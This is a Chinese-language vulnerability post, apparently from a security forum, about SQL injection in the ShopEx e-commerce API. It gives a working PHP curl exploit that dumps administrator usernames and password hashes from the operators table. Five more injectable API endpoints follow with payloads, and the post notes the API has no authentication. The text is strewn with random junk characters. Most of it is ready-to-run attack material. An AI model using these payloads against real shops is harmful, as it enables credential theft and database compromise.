|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
! l$ l$ ], `. Q! u% u& Q( fcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php
) Q' j. A+ I! c% g1 |+ F) _
8 s% @/ w$ w8 f5 }+ M第44行 $data['columns'] 未做过滤导致注入
! C* I, ^- d1 _ f7 D% K' t
5 x* }, }! L6 b2 E+ y<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.0 l2 b1 p) n) K- T: R% c
! w5 z0 P' U0 ?4 J6 N& Z
注射1:. I/ j7 | I& o
6 S3 y& }. R! U+ [8 y) zhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
2 l- y8 d" Q4 N P1 V. F! M3 X3 P
/ ^/ A7 G. n/ p% m. {. F" m, j! e注射2:5 H6 C8 B4 v2 @( S$ o3 U9 L
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}6 n |7 K6 Z' c
# W p, e8 }5 D' Z6 d2 S6 M, P
注射3:
9 C7 a# {" D/ ^2 v. f http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx* c0 N _# z1 i( {. R. q P
注射4:: V% G; O) l' x" Z
- d7 Y( p) V6 Fhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1- @' ~) ]* B& O$ V
& u9 e# ^+ C1 A2 S& P5 d7 m0 f3 C n& p3 g6 i. F
注射5:
5 n3 s' b) t& s http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
3 P2 \# a0 J h) k6 I+ U; w' `6 T+ w* ^* _5 X* L7 b
3 w, b% b2 f. w9 Q. Q
; G) j( g# q8 C5 W6 [6 f% f5 g, a, N6 a5 b* o
: Y9 s ?# V! W
! D$ ^. A! v9 w7 H6 l |
|